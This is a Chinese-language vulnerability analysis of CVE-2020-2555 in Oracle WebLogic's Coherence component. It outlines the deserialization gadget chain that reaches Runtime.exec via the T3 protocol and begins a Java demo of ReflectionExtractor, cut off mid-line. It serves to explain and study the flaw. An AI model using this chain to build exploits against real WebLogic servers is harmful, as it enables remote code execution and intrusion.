前言
CVE-2020-2555主要源于在coherence.jar存在着用于gadget构造的类(反序列化构造类),并且利用weblogic默认存在的T3协议进行传输和解析进而导致weblogic服务器反序列化恶意代码最后执行攻击语句。
Oracle Coherence组件默认集成在Weblogic12c及以上版本中。
利用链
/*
* gadget:
* BadAttributeValueExpException.readObject()
* com.tangosol.util.filter.LimitFilter.toString()
* com.tangosol.util.extractor.ChainedExtractor.extract()
* com.tangosol.util.extractor.ReflectionExtractor.extract()
* Method.invoke()
* ...
* Runtime.getRuntime.exec()
*/
CVE-2020-2555
ReflectionExtractor
跟着链条走,先看一下ReflectionExtractor#extract方法,传入一个oTarget对象,然后通过ClassHelper.findMethod()反射获指定方法,赋值给this.m_methodPrev,最后在53行调用invoke方法。
先来一段简单demo来看看ReflectionExtractor的实例化,先看构造方法,师傅们应该在上图看到了,接收三个参数,然后赋值给类属性。这里接收的两个参数,一个传入getMethod
,一个传入new Object[]{"getRuntime", new Class[0]}
.
可以发现跟CC链条中的commons collections调用链是一样的。
代码如下:
import com.tangosol.util.extractor.ReflectionExtractor;
public class CVE_2020_2555 {
public static void main(String[] args) throws Exception {
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]});
Object extract = reflectionExtractor.extract(Runtime.class);
System.ou